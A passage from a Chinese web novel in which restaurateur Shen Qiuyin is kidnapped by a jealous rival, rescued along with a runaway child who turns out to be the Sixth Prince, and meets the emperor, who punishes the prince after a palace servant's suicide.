李保德指了指自己,一双眼眸里写满了冤枉,他啥都不知道,怎么就惹事了?
沈秋吟说:“你那白月光约我去城南桥头游湖,说是要为这些日子缠着我道歉。”
“她约你?”李保德蹙起眉头,“你要去?”
“她一大早就在那里哭哭啼啼,还说第二日要撞死在我楼前,我有不去的选择吗?”
说起这个,沈秋吟就觉晦气,要死可以呀,死哪儿处都行,偏偏完选择百膳楼,存心的!
“我陪你去。”李保德讲。
事由他起,不能让无辜的人为他善后。
沈秋吟连忙拒绝:“可别了。你去指不定又要闹出什么事来。你是不知道,上回百膳楼前,你那句‘咱三把日子过好,比什么都强’成了多少人打趣我的话。”
这些日子,她真是走哪儿听哪儿,听得耳朵都要起茧的程度。
李保德讪讪地摸了摸鼻子,带着歉意道:“我那不也是情急吗?你讨厌她,我也想摆脱她。”
“唉,”他叹息,“还是不该心善。”
李保德悔恨起来,若当初没送救济的银子,或许也就没那么多事儿了。
音罢,两人一块儿垂下头,皆是悔恨不已。
他们忏悔的时候,姜泊清走了近来,瞥见他,沈秋吟的心情好了许多,迎上去,笑言:“你散衙了。”
他点头,摸了摸她的脸颊,从袖子里拿出一个盒子放在她手中。
沈秋吟打开一看,是一根玉簪子,雕刻成海棠花的样子,通体温润,瞧着就价值不菲。
“来时路过了万宝堂,正好瞧着了这个,一想你肯定会喜欢,便买了下来。”
他拿起簪子,插在她的发髻上,目不转睛地盯着她看,似怎么也看不够。
沈秋吟羞涩地笑了笑,李保德以扇遮脸,在一旁打趣似的啧啧啧,“今晚的饭,我是不用吃了,光看着就饱了。”
她瞥了他一眼,握起拳头,作势要打他,李保德忙举起手求饶,还讨好地笑了笑。
沈秋吟不与他计较,拉着姜泊清上二楼,李保德屁颠屁颠跟在他们后面。
入了厢
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房,章丘端来早做好的饭菜,她与姜泊清说:“我等会儿要去城南桥头赴柳娘的约,就不陪你用膳了,待会儿楼里你记得照看。”
“好。”姜泊清应下,却微微皱眉,“她怎么会约你到城南桥头?”
沈秋吟把早晨的事一五一十说给他听,姜泊清听完后言:“这事没那么简单。”
“我也觉得!”她今日右眼皮一直跳个不停,总觉得有事发生。
“我陪你去!”姜泊清言。
“不用,”沈秋吟拒绝,“你与我同去,她必然不会露出马脚,我一人去,试探试探,若我不归,你再来寻。”
“好。”
沈秋吟陪他们坐了一会儿,看着时间差不多了,出了厢房,坐马车去赴宴。
她走后,姜泊清让李保德留守百膳楼,自个儿悄悄跟着去。
到城南桥头时,刚好日落西山,残阳映湖面上,半江瑟瑟半江红,煞是好看。
柳娘站在湖边向她招了招手,沈秋吟走过去,随她一块儿登了船。
船上早已摆好了可口的饭菜,柳娘为她斟上酒,极诚恳道:“先前我不清醒,对妹妹多有得罪,如今清醒了过来,还请妹妹大人有大量,莫与我计较。”
伸手不打笑脸人,面对这番话,沈秋吟回得极好听,没有一点错处,只是那酒,却是一点也不沾的。
一个到了癫狂地步的人,怎会轻易放弃,她不信柳娘会幡然醒悟,也不信柳娘遥她游湖是为道歉。
柳娘见她不沾酒,作势又要哭起来,装可怜以达到目的,沈秋吟只是冷冷地看着她:“我不吃这一套的。你约我来,究竟要做什么?”
寒浸浸的目光让柳娘头皮发麻,手抖了抖,但很快又恢复了镇定。
“我……”柳娘有些怯怯道,“沈妹妹,我当真忘不掉他,你帮帮我,好不好?”
“不好!”沈秋吟一口回绝。
“我求你了。”
“求我也不行。”沈秋吟别过头不看她。
柳娘跪了下来,握着沈秋吟地裙摆,声泪俱下:“我知道我从前做了错事,但如今我是真心悔过,想要弥补保德,只要你愿帮我,我以后将你视作亲妹妹。”
沈秋吟自下而上打量她一番,勾起了嘴角,好笑道:“我为什么要多你一个姐姐?”
她厌蠢症要犯了!
“我……”
她还欲言,沈秋吟拂开她的手,转身让船夫调头。
而这时,柳娘站了起来,端起凳子,朝着沈秋吟走出。
系统滋了一声,还未来得及提醒,凳子就落在了她的后脑勺。
失去意识时,沈秋吟想,丫的,小看这个女人了。
再醒来时是在一处灯光黯淡的屋子里。
后脑勺的痛感传来,她吃疼一声,想要动手抚摸,才知双腕已被系住,动弹不得。
她双手摩擦,试图挣脱绳子,但毫无用处,只能放弃。
这时,一声呜咽传来,她循着声音看去,只见一个小孩同她一样被绑着,口中还塞着一团麻布,眼睛肿肿的,显然哭过。
沈秋吟正想朝他挪过去时,屋外传来了声音。
一男一女商讨着如何处置他们,男的声音她不熟,但女的声音她熟,是柳娘。
她当即竖起耳朵,聚精会神听着,听到最后,心中大骇,这狗女人竟然要将她卖到花楼,真她娘不是人,想掘了她祖宗十八代的墓,让她永世不得安宁。
她想得咬牙切齿时,系统的声音在她脑中响起:“掘墓的事儿你可别想了,当务之急该是想办法逃出去。”
66. 六皇子
办法?
能有什么办法!
沈秋吟看着自己被绑死了的手,又瞅了瞅破旧到漏风的屋子,不禁悲起来,那么多次挫折都没死成,难道这回要命丧于此了吗?
她悔恨起来,枉她聪明一世,怎么就遭了柳娘的道了。
明明都把柳娘会做的小动作都想过一边,但千算万算没想到她的手法简单粗暴,竟是直接拿凳子砸她!
真是个实心眼的,不按套路出牌。
唉……
一旁坐着的小孩呜咽起来,哼哼唧唧,可怜兮兮的,惹人心生怜爱。
沈秋吟想他是害怕极了,便挪了过去,想陪一陪他。
那小孩见她过来,往后躲了躲,警惕地看着她,如受了惊吓的小鹿。
沈秋吟露出和善的笑容,眉眼弯弯,用哄小孩的语气道:“别害怕,我也是被他们抓来的。”
她背过身,努力抬起手,伸向小孩的嘴边,“我帮你把麻布取下来,但你千万别出声。等他们进来,咱们估计就完了。”
小孩没反应,一双圆溜溜的眼湿漉漉的,上上下下看了他一阵,似确定了她真没坏心后,才点了点头,向她靠了靠。
有了他的配合,沈秋吟顺利拿下了塞他嘴里的麻布。
没了堵塞,小孩咳嗽了两声,清了清嗓子。
沈秋吟问:“你是怎么落到他们手中的?”
这小孩虽脏兮兮的,但穿的衣服是绸缎,举止神态也不像普通人家能养出来的,沈秋吟脑中闪过许多个猜测——
难道是某个富贵人家的小孩,被匪徒盯上了,劫过来索要钱财?
又或是这孩子是家中嫡子,但心性善良,被恶毒亲人卖了出来,只为谋取家业?
抑或是……
沈秋吟正想的起劲儿,系统叫了停。
“你哪来的这么多戏?”
又是匪徒,又是被卖的?生活里没有这么多艺术。
沈秋吟理直气壮回它:“戏本里都是这样写的。”
还补充道:“都说戏剧来源于生活嘛。”
人不可能写出超脱生活以外的东西。
“好……吧,”系统哑口无言,只能哈哈两声道,“你说的很有道理。”
“是吧,我也觉得!”
她美滋滋地笑着,下一秒就被打脸,那小孩说:“我也不知道。我一出来就被他们套口袋里带走了。一醒来就在这儿了。”
“额……这这这……”和她猜的都不一样。
又不按套路出牌。
沈秋吟尴尬地垂下头。
忽然间,外头传来刀剑碰撞的声音,柳娘大声惊叫,再之后好似有千军万马赶来,与一伙人撕打在了一起。
是救兵?还是仇敌?
沈秋吟拿不准,恨不得去看一眼,看扫过这虽漏风,却又把该挡的都挡住了的屋子,只能作罢。
小孩抖了一抖,下意识跑向角落蹲着,不,垂着头,将自己缩成一团。
沈秋吟的心也跳到了嗓子眼,未知真的令人恐惧。
是死,还是活?
突然之间,屋子里死气沉沉,一大一小,都听着屋外的动静。
刀光剑影,人之惨叫,无一不折磨着神经。
小孩似再也忍受不住,抬起头,怯生生问沈秋吟:“我们……我们会不会死呀?”
沈秋吟也不知道会不会死,她也慌乱的不行,但看着小孩那双浸了水的双眸,又镇定下来,笑着回他:“不会。肯定能活。”
小孩相信了她的话,倏而站了起来,走到了她身边,“我们一起想办法。”
“好。”
一大一小靠在了一起,叽叽喳喳说着怎么逃跑靠谱,说着说着竟然笑了起来,像两个傻白甜似的,全然忘了还在危险中。
默默听着的系统觉的好笑又心酸,但忍不住提醒道:“你俩现在是被绑了,不是话聊斋。”
沈秋吟用心声回它:“苦中作乐,懂不懂!”
“行……”
那就苦中作乐吧,它还能说个啥呢,害!
“姐姐,这样行不,”小孩用肩撞了撞沈秋吟,说出了自己的想法,“咱干脆把门撞开,一鼓作气冲出去,死命的跑吧!”
大道至简!
沈秋吟觉得这办法可行,“如果结局都是死的话,为什么不死的轰轰烈烈一点呢!走,咱冲。”
两人站了起来,带着置之死地而后生的气势,走向被栓紧的门。
正要用力撞死,门突然被打开了,一把沾了血,浸着寒光的剑露了出来,两人同时闭了眼,做好赴死的准备,甚至还异口同声道:“要杀就杀快点,别磨磨蹭蹭。”
音落,他们同时伸长了脖子,等着长剑落下,然而等了好久,也没等来死亡的疼痛,持剑人反而笑起来。
这……这声音好熟悉!
沈秋吟睁开眼,是姜泊清!
她的眼睛一下子就亮了起来,几乎是扑进他的怀里,热泪盈眶。
“我差点以为见不着你了。”
她当时想,倘若真的逃不出去,只能,只能来世再来找他了。
姜泊清解掉束缚她手的绳子,拍着她的背,轻声哄着,“不会的,我不会让你有任何事。”
如果仔细听,可以听到他声音里的一丝颤抖,还有失而复得的小心翼翼。
幸好,幸好他跟了上去,找到了她,幸好,幸好没让她受伤。
他们紧紧抱着,一旁的小孩那见过这个,羞红了脸,不合时宜的咳嗽起来,委屈巴巴道:“这里还有个人呢!能把我放了再说吗?”
两人同时回头,皆露出了不好意思的笑容,赶忙替他解开绳子。
小孩活动活动了手腕,呜呜两声后笑起来:“终于活过来了。不用死真好!”
回百膳楼时已经很晚了,小孩经不住折腾,睡了过去,沈秋吟将他安顿好后,同姜泊清去大理寺。
柳娘和绑匪都被抓了,如今正在大牢里,衙役正用着刑。
为首绑匪嘴硬,低下的人也是硬骨头,什么都不肯交代,但柳娘是个软的,还没受刑便全说了。
“是一个女人找到了我。她说有办法帮我追回李保德,前提是把沈秋吟带出来打晕。我本来没想过这么做的,在船上我还求她帮我,是她自己拒绝了,我没办法才动手的,不能怪我,我给过她机会。”
这话给沈秋吟听笑了:“你还真是臭不要脸,自个儿做的那
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些破事不清楚吗?若不是看在我哥的面子上,没有逮着你说。你丫的有什么脸求着破镜重圆?还要我帮你!我帮你个大头鬼!”
“我爱他,为什么不能!”柳娘吼道,丝毫不见心虚。
“爱他!”沈秋吟笑出了声,毫不客气戳破,“你爱的是他的万贯家财吧!跟着别人过了苦日子,现在回过头,就想打着爱的名义,找个有钱人托付,过好日子,你这算盘打得也忒响了。”
“你胡说!我不是这样的人。”
她语气虽硬,但目光躲闪,这是人说谎时的通病,即使是身经百战之人,也避不开潜意识的动作。
“是不是你自己清楚。”
沈秋吟懒得和她费口舌,避免浪费生命,浪费水。
柳娘恨了她一眼,看向姜泊清,乞求道:“姜大人,我知道的已经都交代了,可以放我出去了吗?”
她不想待在这暗无天日的牢中。
她还要嫁给李保德做夫人,不能被困在这里。
姜泊清没说话。
“出去,”沈秋吟的声音响起,毫不客气戳碎她的幻想,“你甭想了。这事儿怎么跟你没完!老娘的打不能白挨,痛也不能白挨。”
“沈秋吟,我已经知错了,你还要怎样。”
这一刻,柳娘恨死她了,眸中更是燃起熊熊烈火,要把她烧穿一般,更恨不得千刀万剐,才可解恨。
“你这人,搞笑,真搞笑!”
扔下这句话,沈秋吟出了大牢,不再和她纠缠,姜泊清紧跟其后。
为首的匪徒受了一轮刑,仍是什么也没说,但底下的人受不住了,开了口。
“我没没见过雇主。但听声音是个男人。那小孩不是我们抓的,是别人送来的,姑娘也是。”
女人?男人?
都是模糊到不能在模糊的词,没有任何有用价值。
沈秋吟这场被绑案,快搞成悬案了。
姜泊清锁着眉头,似在思考。
沈秋吟也在脑中过了一遍可能会搞她的人,但最后又被她一一否定。
没道理,没证据,他们不像那样的人。
他的直觉还是很准的。
没有丝毫头绪,他们也不在这里费精神,出了大牢。
夜深人静,姜泊清又将她送回百膳楼,正要分别时,他的肚子咕噜噜叫起来。
沈秋吟道:“我给你做拌面,吃完在走。”
“好。”
沈秋吟去了厨房,揉好面团后,切成小块儿拉长,放入沸腾的水中,便起锅热油,练起了臊子。
这臊子是由猪肉粒与辣椒干煸而成,过一过油会更香。
大概一盏茶的功夫,沈秋吟端着面走了出来,放在姜泊清的面前。
他握着筷子准备吃时,许久未见的姜雁忽然闯了进来。
姜泊清一愣,沈秋吟也是。
姜雁缓了一口气,阴沉着脸说:“六皇子失踪了。”
皇子失踪,可以是震惊全国的大案。
而姜雁又是他的老师。
姜泊清瞬间皱起眉头,沈秋吟呼吸一滞。
而这时楼上却传来一道稚嫩的童声。
他说:“谁在叫我!”
67. 怎么回事?
六皇子?
这小屁孩居然是六皇子!
沈秋吟还震惊着,下一秒姜雁就举着戒尺直直地走向六皇子,那气势,每走一步都带冷气的,冻得人浑身发抖。
她和姜泊清不约而同的搓了搓手,很有默契的往后退了一步,生怕城门失火殃及池鱼。
六皇子预感大事不妙,弱弱地唤了一声老师,试图唤起他心中一点怜悯,但事实上一点用也没有,该挨的打还是会来,所以为今之计就是跑为上策呀!
他使出了干饭的力气跑,姜雁在后头穷追不舍,边跑边道:“你这猴崽子,给老子站住,今天不好好收拾你一顿,你是不晓得锅儿是铁打的。”
此话一出,只有傻子才会停下来,六皇子不傻,他只会跑的更快。
这偌大的百膳楼一时间成了赛场,一师一徒你追我赶谁也不肯停。
沈秋吟与姜泊清站累了,就近坐了下来,乐滋滋的打赌谁先停下来。
“我赌爷爷。”沈秋吟嘴快,先说。
姜泊清没得选,只能押六皇子。
他扭头看了一眼还在追赶的两人,叹气道:“我这是必输呀!”
“哎呀呀,不就是一根金钗嘛,姜大人输得起。”
“你呀!”姜泊清点了一下她的眉心,一脸宠溺。
不知过了多久,跑着的两人都精疲力尽了,竟然一块儿停了下来,弯着腰大口大口喘气。
这……该咋算呀?
沈秋吟傻眼了,怎么总是不按套路出牌呀!
呜呜呜。
这时,姜泊清的声音响起,他道:“算你赢。”
嗷呜,姜泊清怎么能这么好。
沈秋吟感动的差点就要热泪盈眶了。
系统适时出声,“女人,虚伪。”
“屁。”
系统冷哼一声,下了线,仿佛只是为了找个存在感,所以才上线似的。
沈秋吟才不管它,因着一根金钗,高兴地蹦了两下,嘴都要裂开了。
姜泊清抿了抿嘴,嘴角微翘,也带着笑意。
快累瘫了的师徒两人见了这画面,心中忽然不得劲儿,一口同声道:“别笑了,快来杯水,要死了。”
两人好似大梦初醒,哦莫,忘了这里还有两人呢,赶忙收敛了笑容去倒水。
师徒两人接过茶盏,咕噜咕噜一口喝完,这才算是活了过来。
两人都没了力气折腾,安静地坐在了一处,面面相觑。
姜雁率先开口,神情严肃:“谁带你出宫的?”
宫中戒备森严,这小子虽然机敏,但绝躲不过禁军的眼力,想出宫,难如登天,而他如今顺利出了宫门,只能是有人从旁协助。
说起这个,六皇子嚎啕起来,扑进姜雁怀里,“老师,我差点就见不到你了。”
被绑的时候,他真的觉得自己要死了,见不到老师,也见不到父皇和母后了。
姜雁感受到衣襟上润意,轻轻摸着他头,安慰道:“没事了,没事了。”
他这才发现,这小子的衣服都破了,显然是受了不少苦,但人没事就好。
六皇子哭了好一阵才停下来,鼻息泛酸,抽抽噎噎将事情的前因后果说来。
“是负责采买的公公带我出来的。他将我藏在采买车中,禁军没有检查出来,我就顺利出了宫门。只是,方一上街,就被人绑了,醒来后就在一处破屋中,然就就见着了沈姐姐。”
他又小声补了一句:“也幸好遇见了沈姐姐,不然我真是没命活。”
天晓得他醒过来时就听到那些绑匪说要砍了他的手脚,让他上街去乞讨。
姜雁皱起眉头,“他为何要带你出宫?”
他是皇子,只要他不愿,就没有人能从宫中将他带出来。
六皇子垂下头,有些心虚道:“我……我不想上课,所以求他带我出来的。”
采买的公公自然是不愿的,但他威胁他,所以公公才会带他出宫。
姜雁听完后,默了一阵后说:“你知道那名公公的下场是什么吗?”
“是什么?”他只是不想上课,没想过那么多。
“他采买完后,寻你不得,自缢了。”
“自……缢。”
六皇子愣住了,一张脸皱在了一处,良久说道:“老师,我错了,我跟你回去认罚。”
姜雁道:“现在想回去呀?晚了,圣上和皇后已经在来百膳楼的路上了。”
“你呀,”姜雁叹了口气,“经此一事后,但愿能成长。”
百膳楼的气氛压抑了下来。
沈秋吟踌躇了好久还是把自己的疑惑问了出来,“姜泊清,他是六皇子……回来的时候你都没认出来吗?”
姜泊清表情一顿。
沈秋吟知道了,他是真的没有认出来。
可是,不应该呀,他常出入宫中,当是见过六皇子的。
姜泊清摸了摸鼻子,咳嗽两声,略尴尬道:“嗯……长变了。”
这显然是挽尊的借口。
她不禁趣道:“啧啧啧,你这大理寺少卿白当了哦!”
姜泊清说:“我也就见过他一次。”
他虽常入宫中,但都是在御书房面见圣上,皇子们的住地与此处相距甚远,也只有几年前的一次宫宴,他在御花园远远瞧见过六皇子一回。
那时候他不过三四岁的样子,小小的一只,肉肉的脸蛋像一只粉雕玉琢的团子,但行事却如泼猴,在宫中上蹿下跳,惹得一群宫人叫苦连天,想叫如来佛祖将他压在五指山下。
“你你你……你是老师的孙子,姜泊清。”六皇子抬头看他,也是十分震惊。
沈秋吟看了六皇子一眼,“哦豁”一声,笑道:“你也没认出他。”
“我都没见过他,怎么会认得出来嘛!”六皇子说。
沈秋吟觉得有……道理?不,应该是十分有道理!
一个只见过一面,一个连面都没见过,能认出来才有鬼呢?
这边沈秋吟还在暗自肺腑,那边六皇子“唰”地一下跑到姜泊清的面前,环住他的腰,一把鼻涕一把眼泪往他身上擦,像是受了天大的委屈。
姜泊清有些不知所措,刚刚还好好的,咋就成这样了?
沈秋吟最见不得小孩哭了,问道:“你这是怎么了?”
方才不是已经将委屈说尽了吗?怎的又委屈上了。
六皇子抬起头,眼眶里闪着泪花,带着哭腔说:“我就是想抱抱你,觉得你有老师这样的爷爷,从小到大肯定不容易。”
这……
沈秋吟看了看姜雁,又瞧了瞧姜泊清,默默地垂下头,努力憋住笑。
小屁孩,胆子就是大呀!
姜泊清神情一滞。
姜雁瞅着六皇子,是可忍,孰不可忍。
这小子当真是一天不打,就要上房揭瓦,还敢当面蛐蛐他,非收拾他不可!
说时迟那时快,姜雁一眨眼就站在了六皇子的身后。
六皇子正张嘴还要说些什么,突然身子一腾空,双
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脚离了地,他回头一看,姜雁正提着他领子,黑着一张脸。
哦莫,把他忘了。
完了,完了,又完了!
六皇子双手捂脸,一心想死。
沈秋吟再也憋不住,笑出声来,捏了捏他的肉脸,“小孩,没人告诉你,不能当面蛐蛐别人吗?”
六皇子耷拉下脑袋:“一时激动,忘了。”
沈秋吟又是一阵笑。
提着他的姜雁深吸一口气,六皇子见状使劲儿挣扎。
姜雁到底是松了手,六皇子一溜烟跑到姜泊清身后,一双小眼写满了三个大字——救救我。
姜泊清摇摇头,表示他也无能为力,悄悄的指了指沈秋吟。
六皇子的眼睛忽然一亮,拉住沈秋吟的袖子,可怜兮兮道,“姐姐,我好饿呀,饿得前胸贴后背了。”
他刻意卖乖,沈秋吟心疼的不行,摸了摸他的脸蛋安慰道:“不委屈哈不委屈,姐姐给你做好吃的。”
“嗯嗯。”
他乖巧点头,跟着沈秋吟往厨房去,走到一半回头给了姜雁一个挑衅的眼神,姜雁气的脸都绿,姜泊清看了他一眼,笑了笑,好似在说,好小子,你是真能。
方才给姜泊清下了面,厨房还没收,有些凌乱。
沈秋吟简单的收拾一番后,弯腰问六皇子:“你想吃什么?”
“泊清哥哥刚才吃的什么?”
他咽了咽口水,想起他在睡梦中闻到的一阵香味,眼睛都眯了起来,大写的嘴馋。
“那是拌面,有些辣,你能吃辣吗?”
“能吃能吃。”
“行吧,那就吃这个,你等一会儿,我这就做。”
“好好。”
六皇子站在一旁安静的看着,时不时为沈秋吟扯面时的动作惊呼,眼里冒着星星,像是看什么稀奇玩意儿一般。
沈秋吟突然产生了一种被当猴看的感觉,可是她说不出来。
算了算了,别纠结了,人要学会放过自己。
没一会儿,面扯好了,沈秋吟弄起了臊子。
臊子遇油,辣味在空中弥漫,六皇子连连打了几个喷嚏,忍不住揉鼻子。
沈秋吟笑道:“就你这样还能吃辣?”
“能,真的能。”他有些急切,好似生怕沈秋吟认为他不能吃辣,就不给他吃了似的。
“知道了,知道你能吃辣,不会不给你吃的。”
她说着,锅里的臊子也差不多了。
她绕到灶后,息了火。
把一旁煮着面也捞起来。
姜泊清已经吃过,她没有大晚上吃东西的习惯,所以就下了两碗面,一碗给六皇子,一碗给姜雁。
六皇子在一旁翘首以待,沈秋吟浇上臊子后忙端给他,另一碗她端出去给姜雁。
师徒两人得了吃的,坐在一块儿安静的吃着。
六皇子边吃边吸溜着鼻子,沈秋吟到了一碗羊奶放在他旁边。
一会儿后,他便放了碗筷,大口喝着。
“不是能吃辣吗?”
他擦了擦鼻子,“没吃过这般辣的。”
沈秋吟笑了笑,继续为他的碗中到羊奶。
他们正吃的起劲儿,门口忽然传来声音:“好香的味道。”
沈秋吟循声抬头,只见走进来的男子面若冠玉,气质不俗,身后还跟着一名气质温婉的女子。
这是?
沈秋吟的心头大致有了猜测,一时间如湖中落下了一块大石头,惊起阵阵涟漪。
68. 出息了!
我滴个乖乖呀!妈妈,我出息了,我见着古代的天子了!
沈秋吟直勾勾地盯着走来的人,满眼都是稀奇,仿佛怎么看都看不够似的。
这就是传说中的圣上呀,还挺年轻的,比她想象中的要年轻多了,瞧着不过三十出头,长的也好看,不像从前她学的历史书上所画的帝王,个个都是胖胖的,脸圆圆的。
系统说:“你有没有发现历史书上的帝王有个共同特点。”
“嗯?什么共同特点。”她翻书,只看字,很少关注画。
系统言:“把他们的画像放在一处,你会发现,每一代的帝王都长的一样。”
“这——”
她还真没发现。
沈秋吟用心声与系统交流,忘了收回目光,落在他人眼中,就是她连眼睛也不眨,一个劲儿盯着昭明帝。
昭明帝被她盯得发怵,不太自信的摸了摸自己脸,侧头小声与皇后说:“朕脸上有什么东西吗?”
皇后仔细看了又看,回他:“没有东西。”
“那沈掌柜怎么一直盯着朕看?”他小声问。
又补充道:“莫非是朕生的太丑了,把她吓住了?”
“陛下才不丑。”皇后不认可道。
昭明帝生得俊朗,虽说不必上潘安,人人爱之,但决计不丑。
“那她是为何?”
皇后瞅了一眼沈秋吟,猜测道:“估计是没见过你,觉得陌生?”
“嗯——”昭明帝点点头,觉得有道理。
他清了清嗓子,正要提醒提醒沈秋吟。
没曾想她突然“啊”一声,很是激动握住姜泊清的手,喃喃道:“你方才听到了吗?陛下叫我沈掌柜。”
姜泊清点头,“听到了。有……有什么不对的吗?”
“不对。特别不对。我从未见过陛下,陛下却认识我。这说明什么?”
“说明……什么?”姜泊清有些糊涂。
“说明我出名呀!不然圣上怎么知道我姓沈。”
她此话一出,在场的人都愣了一瞬,反应过来后,齐刷刷笑出了声。
笑声中,沈秋吟红了脸,扫过在场众人,带着些许尴尬问:“我说错了吗?”
倘若不是如此,昭明帝因何识得她?
昭明帝止住笑,看向沈秋吟道:“沈掌柜没说错。你的大名在整个濮阳城里无人不晓,连带着朕也听过不少你的事迹?”
“譬如,舟野渣了你,闹得满城风雨——”昭明帝揶揄地看了看姜泊清,“朕说的没错吧?”
姜泊清一笑,朝他行一礼,“圣上说的没错,这事还害得臣挨了一顿打。”
他们有一句没一句聊着,揭的却全是沈秋吟的丑,她不乐意了,连忙换了话题:“圣上与娘娘可要来碗拌面?”
她方才听圣上说了一句好香,应当是有意思,所以才会有此提议。
昭明帝与皇后还未说话,一直吸溜面的六皇子抬起头,迫不及待道:“我要,我……”
他话还说完,便被昭明帝揪住了耳朵:“猴崽子,你还好意思吃……”
昭明帝话里话外都是怒气,就差动手收拾他了。
六皇子捂着自己的耳朵,哀求昭明帝轻一点。
昭明帝冷着脸道:“轻一点你不会长记性。”
既然唤不起父爱,六皇子看向皇后,眼眸里覆上盈盈水光,哭着说:“母后,你救救我,孩儿知错了。”
皇后一脸瞬间严肃,训道:“你但凡真的知错,就不会是这个样子!”
“母后……”六皇子又可怜巴巴地叫了一声。
皇后道:“你可知晓被你威胁,带你出宫的采买公公如何了?”
六皇子摇头。
他当时只想出宫,逮住一个人便威胁了,根本没想过后果。
皇后面有不忍,闭了闭眼,让昭明帝说。
六皇子回头看着自己父亲,等着他开口。
昭明帝酝酿片刻后说:“他寻你不得,害怕殃及家人,自缢了。”
自……缢。
这个词离他太远了,但也很近。
他常听罪犯不堪受刑自缢,但采买的公公没有罪,是他拿出皇子的身份,要挟他带他出宫的。
他为何要自缢?
六皇子仰起的头缓缓垂了下去,像是失去了所有力气。
“我……我……”
他囫囵说不清,满脑子都是那个被他随手逮住的公公自缢死了。
可他的本心并不是要他死。
他只是不想读书而已,想看看宫外之大,所以才逃出来。
“父皇,我……”
他想说自己真的知道错了,可在一条无辜的人命前,一句知错,太过轻微,根本不足以弥补。一时之间,他不知该怎么办,究竟要做些什么才能补救。
那可是一条人命啊!
沈秋吟瞧着这一幕,想起了一句话——
皇子犯法与庶民同罪。
但这话,平头百姓不会信,王公大臣不会信。但这个朝代似乎和过往的任何一个朝代都不一样,皇帝在乎人命,当官的也在乎人命。
采买的公公死了,所以造成他之死的六皇子要付出代价。
这给了沈秋吟极大的冲击。
她浑身抖了一抖,那种微妙的情绪,她说不出来,也不知如何宣泄。
濮阳下起了雨,大雨哗啦,顺着瓦砾唰唰地落在檐下,打湿了门槛。
沈秋吟撑着头,双目无神。
百膳楼外,行人匆匆,双手举着,遮住头,跑着,溅起了水。
她还想着那晚的事。
昭明帝说六皇子既然不想读书,还因此牵连了一条人命,那之后就不读了,送去皇陵为先祖守灵,三年之后才准归京。
送一个只有几岁大的小孩去条件艰苦的皇陵,这样的惩罚过于苛刻,姜雁第一时间向昭明帝求情,希望换个惩罚,但其不允,执意如此。
于是姜雁请旨,陪同六皇子守皇陵。
他说:“教不严,师之惰。六皇子之事,臣也有错,臣请旨陪六皇子守皇陵。若陛下不允,臣便长跪不起。”
初时昭明帝并不理会,任由姜雁跪,想让他知难而退,但时间久了,姜雁还是没有要起来的迹象,昭明帝拿他没办法,最终不情不愿下了旨意,让他陪同六皇子去皇陵。
而今日就是他们离开的日子。
“你不去送吗?”系统问。
“去呀,肯定去。只是……”她心头乱乱的,如一团理不清的线,纠缠在一起,令她有些烦闷。
“只是什么?”系统隐隐感受到了她的心绪,但理解不了,只能问她。
她摇摇头,说道:“闷闷的。”
“因为下雨吗?”系统猜测。
雨天总是会让人情绪低落些,比不上出太阳。
“也不是。”
就是,就是,她说不出来,也形容不出来。
沈秋吟长舒一口气,“算了,不想了,去送他们了。”
她取了雨伞,提着一个包裹,赶去城门,皇后穿着便装,虽然依旧严肃,但眉眼间还是流露出了几分不舍。
六皇子向她行大礼,说道:“母亲,孩子一定好好悔过,你在宫中也要保重身体。”
皇后点点头,不再多言,挥了挥手,让他去吧。
沈秋吟将包裹递给姜雁:“一些吃食,路上可用,爷爷也要保重身体。”
姜雁接过,抬眸望了望长街,问道:“泊清呢?”
沈秋
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吟答:“他还在查案……”
“如此,就不等了。”
姜雁翻身上了马车,六皇子再次拜别皇后,也爬上了马车。
马夫扬起了鞭子,落在了马背上,马儿嘶鸣一声,迈开腿跑起来。
沈秋吟与皇后撑着伞站在雨中,直到马车没影了,才一同离开。
回到百膳楼,沈秋吟屁股还没坐热,李保德急匆匆地跑了进来,拉起她转了一圈,气喘吁吁道:“妹子,你那晚是被人绑了吗?”
“你怎么知道?”沈秋吟有些意外。
关于那晩的消息,姜泊清已经封锁,除了他们当事人外,就只有姜雁与圣上皇后知道了。
“我怎么知道,你这话问的。整个濮阳城已经传遍了,都在说你沈秋吟被绑了,我想不知道也难。”
哦莫,这是咋回事?
沈秋吟搞不懂状况了。
李保德追问:“你被绑是怎么个回事儿?不会是因为……”
后面的话他没说完,但懂的都懂。
既然全城都在说这件事,沈秋吟也不瞒他,“还真是她。在船上,她将我打晕后,我就出现在一处破屋里,幸好姜泊清来的及时,不然我就被买去青楼了。”
想象就觉恶毒!
李保德很是气愤,蜀地方言都说出来了:“这个歹毒的婆娘,我这就去找她算账。”
他就要往外走,沈秋吟拦住了他:“她已经被抓了,如今在大理寺的牢中。”
李保德只能作罢,又问沈秋吟:“她为何要绑你?”
柳娘与她无仇无怨,不应该做这种事呀。
沈秋吟道:“这事儿吧,还是得怪你。”
“我?”李保德指了指自己。
沈秋吟点头:“她让我帮她追回你,我自是不干,便有了这回事。”
“是我害了你,早晓得……”李保德懊恼不已。
过了好一会儿,他问:“姜泊清怎么判此案?”
沈秋吟说:“还判不了,柳娘也是做了别人的刀。”
“别人的刀?谁要害你?”李保德一下警惕起来。
“我也不知道。”
近些日子,她把脑袋都想破了,也没想出是谁要她的命。
而柳娘把该说的全都说了,只是可用的线索太少了,目前案件还是没有一点进展。
姜泊清为破此案,已经住进大理寺,好几日未曾睡过好觉,甚至今日都没去送姜雁离开。
“有头无尾的案子,”李保德皱起了眉头,想了一会儿后说道,“这百膳楼你不能再住。既然是有人想要害你,一次未成,肯定还会有第二次。如今敌在暗,你在明,危机四伏,这里不安全。”
“放心吧,”沈秋吟给了他一个安心的眼神,扫过周围,“你能想到,姜泊清也能想到。我这处,有禁军看着,安全得很。”
“禁军?”李保德张大了嘴,十分震惊“这可是守皇城的,听令于圣上的精锐,姜泊清哪来的面子,竟然连禁军都能调动了?”
“这事儿嘛,就说来话长了。”沈秋吟有些骄傲的仰起头。
“长话短说。”他实在好奇。
沈秋吟撑着下巴想了想,“我哭的你还是不要知道的好。”
“不!我就要知道。”
沈秋吟拗不过他,将那晚上的事儿说给他听,只是省略了六皇子之事,李保德听完后,整个人都激动了。
“你是说,圣上和皇后都来百膳楼了,并且还吃了你亲手做的拌面?”
沈秋吟点点头。
李保德继续道:“他们还同你说了许多话?”
沈秋吟再次点点头。
李保德握住的双肩,笑得连嘴都合不上了,“妹子,妹子……你,你,你真是出息了呀!”
69. 卤味
沈秋吟被绑之事一时间疯传,成为濮阳百姓茶余饭后的谈资,人人都在讨论她为何被绑,是否是得罪了什么人。
在濮阳最大的茶楼中,百姓们为此事展开了激烈的争论。
